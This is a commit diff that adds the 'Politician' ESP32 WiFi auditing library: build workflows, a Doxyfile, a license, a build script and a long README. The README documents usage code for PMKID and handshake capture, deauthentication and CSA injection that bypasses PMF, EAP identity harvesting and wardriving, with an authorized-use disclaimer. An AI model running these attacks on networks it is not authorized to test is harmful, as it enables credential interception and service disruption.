More fixes to make captures viable
This commit is contained in:
1
.gitignore
vendored
1
.gitignore
vendored
@@ -6,3 +6,4 @@
|
||||
captures/
|
||||
.DS_Store
|
||||
*.pyc
|
||||
.platformio/
|
||||
|
||||
22
lib/Politician/.github/TOPICS.txt
vendored
Normal file
22
lib/Politician/.github/TOPICS.txt
vendored
Normal file
@@ -0,0 +1,22 @@
|
||||
GitHub Topics to Add (go to repo settings):
|
||||
|
||||
esp32
|
||||
esp32-c6
|
||||
wifi
|
||||
wifi-security
|
||||
wifi-auditing
|
||||
penetration-testing
|
||||
security
|
||||
wardriving
|
||||
pmkid
|
||||
handshake-capture
|
||||
wpa2
|
||||
wpa3
|
||||
802-11
|
||||
networking
|
||||
iot-security
|
||||
embedded
|
||||
arduino
|
||||
platformio
|
||||
cybersecurity
|
||||
wireless
|
||||
36
lib/Politician/.github/WORKFLOWS.md
vendored
Normal file
36
lib/Politician/.github/WORKFLOWS.md
vendored
Normal file
@@ -0,0 +1,36 @@
|
||||
# GitHub Workflows
|
||||
|
||||
This directory contains automated workflows for the Politician library.
|
||||
|
||||
## documentation.yml
|
||||
|
||||
Automatically builds and deploys Doxygen documentation to GitHub Pages.
|
||||
|
||||
**Triggers:**
|
||||
- Push to `main` or `master` branch
|
||||
- Manual workflow dispatch
|
||||
|
||||
**Actions:**
|
||||
1. Installs Doxygen and Graphviz
|
||||
2. Generates HTML documentation
|
||||
3. Deploys to GitHub Pages
|
||||
|
||||
**Setup Required:**
|
||||
1. Go to repository Settings → Pages
|
||||
2. Set Source to "GitHub Actions"
|
||||
3. The workflow will automatically deploy on next push
|
||||
|
||||
## build-examples.yml
|
||||
|
||||
Validates that all examples compile successfully across different ESP32 boards.
|
||||
|
||||
**Triggers:**
|
||||
- Push to `main` or `master` branch
|
||||
- Pull requests
|
||||
|
||||
**Actions:**
|
||||
- Compiles all examples using PlatformIO
|
||||
- Tests on ESP32, ESP32-S2, ESP32-S3, and ESP32-C3 boards
|
||||
- Fails if any example doesn't compile
|
||||
|
||||
This ensures code quality and prevents breaking changes.
|
||||
39
lib/Politician/.github/workflows/build-examples.yml
vendored
Normal file
39
lib/Politician/.github/workflows/build-examples.yml
vendored
Normal file
@@ -0,0 +1,39 @@
|
||||
name: Build Examples
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
board: [esp32dev, esp32-s2-saola-1, esp32-s3-devkitc-1, esp32-c3-devkitm-1]
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.x'
|
||||
|
||||
- name: Install PlatformIO
|
||||
run: |
|
||||
pip install platformio
|
||||
|
||||
- name: Build examples
|
||||
run: |
|
||||
chmod +x compile_examples.sh
|
||||
./compile_examples.sh
|
||||
env:
|
||||
PLATFORMIO_BOARD: ${{ matrix.board }}
|
||||
51
lib/Politician/.github/workflows/documentation.yml
vendored
Normal file
51
lib/Politician/.github/workflows/documentation.yml
vendored
Normal file
@@ -0,0 +1,51 @@
|
||||
name: Build and Deploy Documentation
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pages: write
|
||||
id-token: write
|
||||
|
||||
concurrency:
|
||||
group: "pages"
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Install Doxygen
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y doxygen graphviz
|
||||
|
||||
- name: Generate documentation
|
||||
run: |
|
||||
doxygen Doxyfile
|
||||
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v3
|
||||
with:
|
||||
path: 'docs/html'
|
||||
|
||||
deploy:
|
||||
environment:
|
||||
name: github-pages
|
||||
url: ${{ steps.deployment.outputs.page_url }}
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
|
||||
steps:
|
||||
- name: Deploy to GitHub Pages
|
||||
id: deployment
|
||||
uses: actions/deploy-pages@v4
|
||||
14
lib/Politician/.gitignore
vendored
Normal file
14
lib/Politician/.gitignore
vendored
Normal file
@@ -0,0 +1,14 @@
|
||||
.pio
|
||||
.vscode
|
||||
.gemini
|
||||
*.o
|
||||
*.bin
|
||||
*.elf
|
||||
node_modules
|
||||
.DS_Store
|
||||
|
||||
# Doxygen output
|
||||
docs/
|
||||
|
||||
# Internal documentation
|
||||
COOKBOOK.md
|
||||
1
lib/Politician/.piopm
Normal file
1
lib/Politician/.piopm
Normal file
@@ -0,0 +1 @@
|
||||
{"type": "library", "name": "Politician", "version": "1.0.0", "spec": {"owner": "0ldev", "id": 20392, "name": "Politician", "requirements": null, "uri": null}}
|
||||
45
lib/Politician/Doxyfile
Normal file
45
lib/Politician/Doxyfile
Normal file
@@ -0,0 +1,45 @@
|
||||
PROJECT_NAME = "Politician"
|
||||
PROJECT_NUMBER = "1.0.0"
|
||||
PROJECT_BRIEF = "WiFi Auditing Library for ESP32"
|
||||
OUTPUT_DIRECTORY = docs
|
||||
INPUT = src README.md include
|
||||
RECURSIVE = YES
|
||||
FILE_PATTERNS = *.h *.cpp *.md
|
||||
EXCLUDE_PATTERNS = */.*
|
||||
USE_MDFILE_AS_MAINPAGE = README.md
|
||||
GENERATE_LATEX = NO
|
||||
GENERATE_HTML = YES
|
||||
HTML_OUTPUT = html
|
||||
HTML_DYNAMIC_MENUS = YES
|
||||
HTML_DYNAMIC_SECTIONS = YES
|
||||
GENERATE_TREEVIEW = YES
|
||||
EXTRACT_ALL = YES
|
||||
EXTRACT_PRIVATE = NO
|
||||
EXTRACT_STATIC = YES
|
||||
EXTRACT_LOCAL_CLASSES = YES
|
||||
JAVADOC_AUTOBRIEF = YES
|
||||
JAVADOC_BANNER = NO
|
||||
OPTIMIZE_OUTPUT_FOR_C = NO
|
||||
BUILTIN_STL_SUPPORT = YES
|
||||
DISTRIBUTE_GROUP_DOC = YES
|
||||
SUBGROUPING = YES
|
||||
INLINE_SIMPLE_STRUCTS = YES
|
||||
TYPEDEF_HIDES_STRUCT = YES
|
||||
SHOW_INCLUDE_FILES = YES
|
||||
SHOW_GROUPED_MEMB_INC = YES
|
||||
SHOW_USED_FILES = YES
|
||||
SHOW_FILES = YES
|
||||
SHOW_NAMESPACES = YES
|
||||
QUIET = NO
|
||||
WARNINGS = YES
|
||||
WARN_IF_UNDOCUMENTED = YES
|
||||
WARN_IF_DOC_ERROR = YES
|
||||
WARN_NO_PARAMDOC = NO
|
||||
SOURCE_BROWSER = YES
|
||||
INLINE_SOURCES = NO
|
||||
STRIP_CODE_COMMENTS = NO
|
||||
REFERENCED_BY_RELATION = YES
|
||||
REFERENCES_RELATION = YES
|
||||
ALPHABETICAL_INDEX = YES
|
||||
COLS_IN_ALPHA_INDEX = 5
|
||||
ENUM_VALUES_PER_LINE = 1
|
||||
21
lib/Politician/LICENSE
Normal file
21
lib/Politician/LICENSE
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 WiFighter Developer
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
508
lib/Politician/README.md
Normal file
508
lib/Politician/README.md
Normal file
@@ -0,0 +1,508 @@
|
||||
# Politician
|
||||
|
||||
> **A sophisticated WiFi auditing library for ESP32 microcontrollers**
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://platformio.org/)
|
||||
[](https://0ldev.github.io/Politician/)
|
||||
|
||||
Politician is an embedded C++ library designed for WiFi security auditing on ESP32 platforms. It provides a clean, modern API for capturing WPA/WPA2/WPA3 handshakes and harvesting enterprise credentials using advanced 802.11 protocol techniques.
|
||||
|
||||
**📚 [Full API Documentation](https://0ldev.github.io/Politician/)**
|
||||
|
||||
## Key Capabilities
|
||||
|
||||
- **PMKID Capture**: Extract PMKIDs from association responses without client disconnection
|
||||
- **CSA (Channel Switch Announcement) Injection**: Modern alternative to deauthentication attacks
|
||||
- **Enterprise Credential Harvesting**: Capture EAP-Identity frames from 802.1X networks
|
||||
- **Hidden Network Discovery**: Automatic SSID decloaking via probe response interception
|
||||
- **Client Stimulation**: Wake sleeping mobile devices using QoS Null Data frames
|
||||
- **WPA3/PMF Detection**: Intelligent filtering to skip Protected Management Frame-enabled networks
|
||||
- **Export Formats**: PCAPNG and Hashcat HC22000 output support
|
||||
|
||||
## Architecture
|
||||
|
||||
The library is built around a non-blocking state machine that manages channel hopping, target selection, attack execution, and capture processing. All operations are contained within the `politician` namespace.
|
||||
|
||||
### Core Components
|
||||
|
||||
| Component | Description |
|
||||
|-----------|-------------|
|
||||
| `Politician` | Main engine class managing the audit lifecycle |
|
||||
| `PoliticianFormat` | PCAPNG and Hashcat export utilities |
|
||||
| `PoliticianStorage` | Optional SD card logging and NVS persistence |
|
||||
| `PoliticianTypes` | Core data structures and enumerations |
|
||||
|
||||
### Attack Modes
|
||||
|
||||
Traditional deauthentication attacks are ineffective against modern WPA3 and WPA2 networks with Protected Management Frames (PMF/802.11w). Politician implements modern alternatives:
|
||||
|
||||
| Mode | Description | Effectiveness |
|
||||
|------|-------------|---------------|
|
||||
| `ATTACK_PMKID` | Extract PMKID via dummy authentication | Works on all WPA2/WPA3-Transition |
|
||||
| `ATTACK_CSA` | Channel Switch Announcement injection | Bypasses PMF protections |
|
||||
| `ATTACK_DEAUTH` | Legacy deauthentication (Reason 7) | WPA2 without PMF only |
|
||||
| `ATTACK_STIMULATE` | QoS Null Data for sleeping clients | Non-intrusive client wake-up |
|
||||
| `ATTACK_PASSIVE` | Listen-only mode | Zero transmission |
|
||||
| `ATTACK_ALL` | Enable all active attack vectors | Maximum aggression |
|
||||
|
||||
## Installation
|
||||
|
||||
### PlatformIO
|
||||
|
||||
Add to your `platformio.ini`:
|
||||
|
||||
```ini
|
||||
[env:myboard]
|
||||
platform = espressif32
|
||||
board = esp32dev
|
||||
framework = arduino
|
||||
lib_deps =
|
||||
Politician
|
||||
```
|
||||
|
||||
Or clone directly into your project's `lib/` directory:
|
||||
|
||||
```bash
|
||||
cd lib/
|
||||
git clone https://github.com/0ldev/Politician.git
|
||||
```
|
||||
|
||||
### Arduino IDE
|
||||
|
||||
1. Download the library as a ZIP file
|
||||
2. In Arduino IDE: **Sketch** → **Include Library** → **Add .ZIP Library**
|
||||
3. Select the downloaded ZIP file
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Basic Handshake Capture
|
||||
|
||||
```cpp
|
||||
#include <Arduino.h>
|
||||
#include <Politician.h>
|
||||
#include <PoliticianFormat.h>
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::format;
|
||||
|
||||
Politician engine;
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec) {
|
||||
Serial.printf("\n[✓] Captured handshake: %s\n", rec.ssid);
|
||||
Serial.printf("HC22000: %s\n", toHC22000(rec).c_str());
|
||||
}
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
|
||||
engine.setEapolCallback(onHandshake);
|
||||
|
||||
Config cfg;
|
||||
cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
|
||||
engine.begin(cfg);
|
||||
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
engine.tick();
|
||||
}
|
||||
```
|
||||
|
||||
## API Reference
|
||||
|
||||
### Politician Class
|
||||
|
||||
The main engine class. Must call `tick()` in your main loop.
|
||||
|
||||
#### Initialization
|
||||
|
||||
```cpp
|
||||
void begin(const Config& cfg = Config());
|
||||
```
|
||||
|
||||
Initialize the engine with configuration options.
|
||||
|
||||
#### Configuration Structure
|
||||
|
||||
```cpp
|
||||
struct Config {
|
||||
uint16_t hop_dwell_ms; // Time spent on each channel (default: 300ms)
|
||||
uint8_t hop_interval; // Channels between hops (default: 1)
|
||||
uint8_t attack_retries; // Attack attempts per target (default: 3)
|
||||
uint16_t pmkid_timeout_ms; // PMKID wait time (default: 500ms)
|
||||
bool capture_half_handshakes; // Save M2-only frames (default: true)
|
||||
uint8_t capture_filter; // Packet logging bitmask (default: 0)
|
||||
};
|
||||
```
|
||||
|
||||
#### Callbacks
|
||||
|
||||
```cpp
|
||||
void setEapolCallback(EapolCb callback); // Handshake capture events
|
||||
void setIdentityCallback(IdentityCb callback); // EAP-Identity events
|
||||
void setApCallback(ApCb callback); // AP discovery events
|
||||
void setTargetFilter(TargetFilterCb filter); // Network selection filter
|
||||
void setPacketLogger(PacketCb logger); // Raw packet logging
|
||||
```
|
||||
|
||||
#### Attack Control
|
||||
|
||||
```cpp
|
||||
void setAttackMask(uint8_t mask); // Configure attack modes (bitmask)
|
||||
void addIgnoreBssid(const uint8_t* bssid); // Skip specific networks
|
||||
```
|
||||
|
||||
#### Attack Mode Constants
|
||||
|
||||
```cpp
|
||||
#define ATTACK_PASSIVE 0x00 // Listen only
|
||||
#define ATTACK_PMKID 0x01 // PMKID extraction
|
||||
#define ATTACK_CSA 0x02 // Channel Switch Announcement
|
||||
#define ATTACK_DEAUTH 0x04 // Deauthentication frames
|
||||
#define ATTACK_STIMULATE 0x08 // QoS Null Data stimulation
|
||||
#define ATTACK_ALL 0xFF // All attack vectors
|
||||
```
|
||||
|
||||
#### Capture Filter Constants
|
||||
|
||||
```cpp
|
||||
#define LOG_FILTER_NONE 0x00
|
||||
#define LOG_FILTER_HANDSHAKES 0x01
|
||||
#define LOG_FILTER_PROBES 0x02
|
||||
#define LOG_FILTER_BEACONS 0x04
|
||||
#define LOG_FILTER_ALL 0xFF
|
||||
```
|
||||
|
||||
### Data Structures
|
||||
|
||||
#### HandshakeRecord
|
||||
|
||||
```cpp
|
||||
struct HandshakeRecord {
|
||||
uint8_t bssid[6];
|
||||
uint8_t client[6];
|
||||
char ssid[33];
|
||||
uint8_t enc; // Encryption type
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
uint8_t eapol_m1[256]; // EAPOL Message 1
|
||||
uint8_t eapol_m2[256]; // EAPOL Message 2
|
||||
uint16_t m1_len;
|
||||
uint16_t m2_len;
|
||||
bool is_complete; // false = M2-only
|
||||
};
|
||||
```
|
||||
|
||||
#### IdentityRecord
|
||||
|
||||
```cpp
|
||||
struct IdentityRecord {
|
||||
uint8_t bssid[6];
|
||||
uint8_t client[6];
|
||||
char ssid[33];
|
||||
char identity[128]; // Plaintext username/email
|
||||
int8_t rssi;
|
||||
};
|
||||
```
|
||||
|
||||
#### ApRecord
|
||||
|
||||
```cpp
|
||||
struct ApRecord {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
uint8_t enc; // 0=Open, 1=WEP, 2=WPA, 3=WPA2, 4=WPA3
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
bool pmf_required;
|
||||
};
|
||||
```
|
||||
|
||||
### Format Utilities
|
||||
|
||||
```cpp
|
||||
String toHC22000(const HandshakeRecord& rec); // Hashcat format
|
||||
ValidationResult validateHandshakeRecord(const HandshakeRecord& rec);
|
||||
```
|
||||
|
||||
### Storage Utilities (Optional)
|
||||
|
||||
Requires `#include <PoliticianStorage.h>`.
|
||||
|
||||
```cpp
|
||||
// Append raw sniffer packet to PCAPNG file
|
||||
PcapngFileLogger::appendPacket(fs::FS& fs, const char* path,
|
||||
const uint8_t* payload, uint16_t len,
|
||||
int8_t rssi, uint32_t timestamp);
|
||||
|
||||
// Debug only: synthesize PCAPNG from a parsed HandshakeRecord.
|
||||
// This is not an original capture artifact.
|
||||
PcapngFileLogger::appendSyntheticRecord(fs::FS& fs, const char* path,
|
||||
const HandshakeRecord& rec);
|
||||
|
||||
// Append to Wigle CSV
|
||||
WigleCsvLogger::append(fs::FS& fs, const char* path,
|
||||
const ApRecord& ap, float lat, float lon);
|
||||
|
||||
// Append enterprise identity to CSV
|
||||
EnterpriseCsvLogger::append(fs::FS& fs, const char* path,
|
||||
const IdentityRecord& rec);
|
||||
```
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Targeted Network Auditing
|
||||
|
||||
Use callbacks to filter networks by signal strength, encryption type, or SSID pattern:
|
||||
|
||||
```cpp
|
||||
engine.setTargetFilter([](const politician::ApRecord &ap) {
|
||||
// Only audit strong signals
|
||||
if (ap.rssi < -70) return false;
|
||||
|
||||
// Skip Open/WEP networks
|
||||
if (ap.enc < 3) return false;
|
||||
|
||||
// Skip corporate networks
|
||||
if (strstr(ap.ssid, "CORP-") != nullptr) return false;
|
||||
|
||||
return true;
|
||||
});
|
||||
```
|
||||
|
||||
### Selective Attack Modes
|
||||
|
||||
```cpp
|
||||
// Modern CSA-only (bypasses PMF)
|
||||
engine.setAttackMask(ATTACK_CSA);
|
||||
|
||||
// Classic deauth for legacy networks
|
||||
engine.setAttackMask(ATTACK_DEAUTH);
|
||||
|
||||
// Passive monitoring with client stimulation
|
||||
engine.setAttackMask(ATTACK_PASSIVE | ATTACK_STIMULATE);
|
||||
|
||||
// Full aggression
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
```
|
||||
|
||||
### Custom Channel Selection (Optional)
|
||||
|
||||
By default, the library hops through all standard channels. You can optionally restrict to specific channels:
|
||||
|
||||
```cpp
|
||||
// Scan only primary 2.4GHz channels for faster hopping
|
||||
const uint8_t channels_24[] = {1, 6, 11};
|
||||
engine.setChannelList(channels_24, 3);
|
||||
|
||||
// On ESP32-C6: Scan only 5GHz channels (common non-DFS)
|
||||
const uint8_t channels_5ghz[] = {36, 40, 44, 48, 149, 153, 157, 161, 165};
|
||||
engine.setChannelList(channels_5ghz, 9);
|
||||
|
||||
// On ESP32-C6: Mix 2.4GHz and 5GHz for dual-band coverage
|
||||
const uint8_t channels_dual[] = {1, 6, 11, 36, 40, 44, 149, 153, 157};
|
||||
engine.setChannelList(channels_dual, 9);
|
||||
|
||||
// Clear custom list to restore default (all channels)
|
||||
engine.setChannelList(nullptr, 0);
|
||||
```
|
||||
|
||||
### Enterprise Credential Harvesting
|
||||
|
||||
```cpp
|
||||
void onIdentity(const IdentityRecord &rec) {
|
||||
Serial.printf("[802.1X] %s → %s\n", rec.ssid, rec.identity);
|
||||
// Save to CSV for analysis
|
||||
EnterpriseCsvLogger::append(SD, "/identities.csv", rec);
|
||||
}
|
||||
|
||||
void setup() {
|
||||
engine.setIdentityCallback(onIdentity);
|
||||
|
||||
Config cfg;
|
||||
cfg.hop_dwell_ms = 800; // Longer dwell for EAP exchanges
|
||||
engine.begin(cfg);
|
||||
}
|
||||
```
|
||||
|
||||
### Persistent Storage
|
||||
|
||||
The core library is decoupled from filesystem dependencies. Optionally include `PoliticianStorage.h` for SD card logging:
|
||||
|
||||
```cpp
|
||||
#include <PoliticianStorage.h>
|
||||
#include <SD.h>
|
||||
|
||||
using namespace politician::storage;
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec) {
|
||||
Hc22000FileLogger::append(SD, "/captures.22000", rec);
|
||||
}
|
||||
|
||||
void onPacket(const uint8_t* payload, uint16_t len, int8_t rssi, uint32_t ts) {
|
||||
// Log raw 802.11 frames
|
||||
PcapngFileLogger::appendPacket(SD, "/captures.pcapng", payload, len, rssi, ts);
|
||||
}
|
||||
|
||||
void setup() {
|
||||
SD.begin();
|
||||
engine.setEapolCallback(onHandshake);
|
||||
engine.setPacketLogger(onPacket);
|
||||
|
||||
Config cfg;
|
||||
cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
|
||||
engine.begin(cfg);
|
||||
}
|
||||
```
|
||||
|
||||
**⚠️ Logging Performance Warning**
|
||||
|
||||
Beacon logging (`LOG_FILTER_BEACONS`) can generate 500+ writes/second. Standard SPI SD card writes are **blocking** and will freeze the engine. For high-volume logging, use ESP32 boards with native **SDMMC** (4-bit) hardware support and DMA.
|
||||
|
||||
### GPS Integration (Wigle.net)
|
||||
|
||||
Combine with a GPS module for wardriving datasets:
|
||||
|
||||
```cpp
|
||||
#include <TinyGPS++.h>
|
||||
|
||||
TinyGPSPlus gps;
|
||||
|
||||
void onAp(const ApRecord &ap) {
|
||||
if (gps.location.isValid()) {
|
||||
WigleCsvLogger::append(SD, "/wardrive.csv", ap,
|
||||
gps.location.lat(),
|
||||
gps.location.lng());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Advanced Features
|
||||
|
||||
### Half-Handshakes and Smart Pivot
|
||||
|
||||
When `cfg.capture_half_handshakes = true`, the engine saves M2-only frames (incomplete handshakes). These can still be cracked by modern tools like Hashcat.
|
||||
|
||||
When an M2-only handshake is captured, the engine automatically executes a **Smart Pivot**:
|
||||
1. Marks the network as a "Hot Target" with active clients
|
||||
2. Immediately launches CSA/Deauth attacks on the client
|
||||
3. Captures the complete 4-way handshake on reconnection
|
||||
|
||||
### Hidden Network Discovery
|
||||
|
||||
Probe Response frames triggered by deauth bursts automatically reveal hidden SSIDs. The engine caches these with zero configuration required.
|
||||
|
||||
### PMF/WPA3 Detection
|
||||
|
||||
RSNE (Robust Security Network Element) parsing automatically identifies networks with PMF Required. These are skipped to save time, but WPA3 Transition Mode networks (PMF Capable but not Required) are still targeted.
|
||||
|
||||
## Examples
|
||||
|
||||
The library includes complete examples demonstrating various use cases:
|
||||
|
||||
| Example | Description |
|
||||
|---------|-------------|
|
||||
| `ExportFormats` | HC22000 and PCAPNG format conversion |
|
||||
| `TargetedAuditing` | Network filtering with callbacks |
|
||||
| `EnterpriseAuditing` | 802.1X identity harvesting |
|
||||
| `StorageAndNVS` | SD card PCAPNG logging and NVS persistence |
|
||||
| `WigleIntegration` | GPS wardriving with Wigle CSV export |
|
||||
| `DynamicControl` | Runtime attack mode switching |
|
||||
| `AutoEnterpriseHunter` | Automatic enterprise network targeting |
|
||||
| `SerialStreaming` | Real-time packet streaming over USB |
|
||||
| `StressTest` | Performance and memory testing |
|
||||
|
||||
See the [`examples/`](examples/) directory for complete source code.
|
||||
|
||||
## Documentation
|
||||
|
||||
Full API documentation is automatically generated and published to **[GitHub Pages](https://0ldev.github.io/Politician/)**.
|
||||
|
||||
The documentation includes:
|
||||
- Complete API reference for all classes and methods
|
||||
- Data structure specifications
|
||||
- Usage examples and code snippets
|
||||
- Architecture overview
|
||||
|
||||
To generate documentation locally:
|
||||
|
||||
```bash
|
||||
doxygen Doxyfile
|
||||
```
|
||||
|
||||
Then open `docs/html/index.html` in your browser.
|
||||
|
||||
|
||||
## Hardware Requirements
|
||||
|
||||
- **Platform**: ESP32, ESP32-S2, ESP32-S3, ESP32-C3 (2.4GHz), ESP32-C6 (2.4GHz + 5GHz)
|
||||
- **Framework**: Arduino or ESP-IDF
|
||||
- **Memory**: Minimum 4MB flash recommended
|
||||
- **WiFi Bands**:
|
||||
- All ESP32 variants: 2.4GHz (channels 1-14)
|
||||
- ESP32-C6: Also supports 5GHz (channels 36-165)
|
||||
- **Optional**: SD card module for persistent logging
|
||||
- **Optional**: GPS module for Wigle integration
|
||||
|
||||
### 5GHz Support
|
||||
|
||||
On ESP32-C6, the library automatically supports 5GHz bands - no code changes required. All capture techniques (PMKID, handshakes, enterprise identities) work identically on both 2.4GHz and 5GHz.
|
||||
|
||||
**Note**: Not all 5GHz channels are legal worldwide. DFS channels (52-144) may have regulatory restrictions in your region.
|
||||
|
||||
## Performance Considerations
|
||||
|
||||
- **Channel Hopping**: Default 300ms dwell time balances discovery speed vs. capture reliability
|
||||
- **Memory**: Core engine uses ~45KB RAM. Storage helpers are opt-in
|
||||
- **CPU**: Non-blocking state machine keeps `loop()` responsive
|
||||
- **Half-Handshakes**: Enable for better capture rate on fast-hopping scenarios
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
**No handshakes captured:**
|
||||
- Verify WiFi is enabled and promiscuous mode works
|
||||
- Increase `hop_dwell_ms` for slow-reconnecting devices
|
||||
- Check if target networks use PMF Required (will be auto-skipped)
|
||||
- Try `ATTACK_ALL` mask for maximum aggression
|
||||
|
||||
**SD card writes fail:**
|
||||
- Ensure SD.begin() succeeds before logging
|
||||
- Check file permissions and available space
|
||||
- Disable `LOG_FILTER_BEACONS` if using SPI SD cards
|
||||
|
||||
**Enterprise identities not captured:**
|
||||
- Increase `hop_dwell_ms` to 800-1200ms for EAP exchanges
|
||||
- Use `ATTACK_PASSIVE` or `ATTACK_STIMULATE` only
|
||||
- Aggressive attacks may interrupt EAP authentication
|
||||
|
||||
## Legal & Ethical Use
|
||||
|
||||
This library is intended for:
|
||||
- ✅ Authorized penetration testing
|
||||
- ✅ Security research in controlled environments
|
||||
- ✅ Educational purposes with permission
|
||||
- ✅ Auditing your own networks
|
||||
|
||||
**Unauthorized access to networks you do not own or have permission to test is illegal** under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.
|
||||
|
||||
The authors and contributors assume no liability for misuse of this software.
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! Please:
|
||||
1. Fork the repository
|
||||
2. Create a feature branch
|
||||
3. Add tests/examples for new features
|
||||
4. Submit a pull request
|
||||
|
||||
## License
|
||||
|
||||
MIT License - see [`LICENSE`](LICENSE) for details.
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Special thanks to [justcallmekoko](https://github.com/justcallmekoko) for inspiring this project and the broader hardware hacking community through the [ESP32 Marauder](https://github.com/justcallmekoko/ESP32Marauder) project. Years of learning from Marauder's innovative approaches to WiFi security research have been invaluable.
|
||||
|
||||
Built on ESP32 WiFi driver capabilities and inspired by modern WiFi security research and responsible disclosure practices.
|
||||
85
lib/Politician/compile_examples.sh
Executable file
85
lib/Politician/compile_examples.sh
Executable file
@@ -0,0 +1,85 @@
|
||||
#!/bin/bash
|
||||
# ==============================================================================
|
||||
# Politician Library - Example Compilation Script
|
||||
# ==============================================================================
|
||||
# This script compiles all examples to ensure they build successfully
|
||||
# Usage: ./compile_examples.sh
|
||||
# ==============================================================================
|
||||
|
||||
set -e # Exit on error
|
||||
|
||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
EXAMPLES_DIR="$SCRIPT_DIR/examples"
|
||||
LIB_DIR="$SCRIPT_DIR/src"
|
||||
BOARD="esp32dev"
|
||||
PLATFORM="espressif32@~4.4.0"
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo "========================================"
|
||||
echo " Politician Library - Example Builder"
|
||||
echo "========================================"
|
||||
echo ""
|
||||
|
||||
# Counter for results
|
||||
TOTAL=0
|
||||
PASSED=0
|
||||
FAILED=0
|
||||
FAILED_EXAMPLES=()
|
||||
|
||||
# Find all .ino files in examples directory
|
||||
for example_dir in "$EXAMPLES_DIR"/*/; do
|
||||
example_name=$(basename "$example_dir")
|
||||
ino_file="$example_dir/${example_name}.ino"
|
||||
|
||||
# Skip if no matching .ino file exists
|
||||
if [ ! -f "$ino_file" ]; then
|
||||
echo -e "${YELLOW}[SKIP]${NC} No .ino file found for $example_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
TOTAL=$((TOTAL + 1))
|
||||
echo -e "${YELLOW}[BUILD]${NC} Compiling: $example_name"
|
||||
|
||||
# Compile using pio ci
|
||||
if pio ci \
|
||||
--lib="$LIB_DIR" \
|
||||
--board="$BOARD" \
|
||||
--project-option="platform=$PLATFORM" \
|
||||
--project-option="framework=arduino" \
|
||||
"$ino_file" \
|
||||
> "/tmp/pio_build_${example_name}.log" 2>&1; then
|
||||
|
||||
echo -e "${GREEN}[PASS]${NC} $example_name compiled successfully"
|
||||
PASSED=$((PASSED + 1))
|
||||
else
|
||||
echo -e "${RED}[FAIL]${NC} $example_name failed to compile"
|
||||
echo " Log: /tmp/pio_build_${example_name}.log"
|
||||
FAILED=$((FAILED + 1))
|
||||
FAILED_EXAMPLES+=("$example_name")
|
||||
fi
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo "========================================"
|
||||
echo " Build Summary"
|
||||
echo "========================================"
|
||||
echo "Total: $TOTAL"
|
||||
echo -e "${GREEN}Passed: $PASSED${NC}"
|
||||
if [ $FAILED -gt 0 ]; then
|
||||
echo -e "${RED}Failed: $FAILED${NC}"
|
